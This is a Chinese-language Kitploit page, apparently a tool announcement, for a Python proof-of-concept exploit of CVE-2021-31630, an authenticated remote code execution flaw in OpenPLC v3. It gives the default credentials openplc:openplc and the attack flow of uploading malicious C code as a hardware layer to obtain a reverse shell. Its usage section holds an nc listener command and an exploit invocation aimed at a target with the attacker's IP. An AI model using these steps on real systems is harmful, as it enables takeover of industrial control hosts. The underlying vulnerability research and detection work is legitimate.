OpenPLC-CVE-2021-31630-RCE — Python 3.13+ 概念验证漏洞利用，针对 CVE-2021-31630，通过恶意硬件层上传实现 OpenPLC v3 的已认证远程代码执行。包含用于默认凭据和漏洞检查的 Nuclei 检测模板。 | Kitploit

分享

OpenPLC v3 认证远程代码执行 (CVE-2021-31630)

这是一个现代 Python 3.13+ 兼容的概念验证漏洞利用程序，用于 CVE-2021-31630，该漏洞存在于 OpenPLC v3 中，允许认证用户上传包含恶意代码的自定义硬件层，从而导致在主机上远程执行代码（RCE）。

原始漏洞发现和报告由 Fellipe Oliveira 提供。此重新实现和现代化版本使用 httpx、CLI 工具、日志记录和更安全的检测技术。

漏洞利用概述

漏洞：CVE-2021-31630
组件：OpenPLC v3 Web 服务器
影响：认证远程代码执行 (RCE)
默认凭据：openplc:openplc

漏洞利用流程

使用有效凭据登录
上传恶意C代码作为自定义硬件层
触发编译
触发执行（可选）
接收反弹 Shell 连接

使用方法

启动监听器：

nc -lvnp 9001

运行漏洞利用程序：

python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001

可选参数：

-u 用户名（默认：openplc）
-p 密码（默认：openplc）
-t 超时时间（秒，默认：20）

功能特性

兼容 Python 3.13+
使用 httpx 构建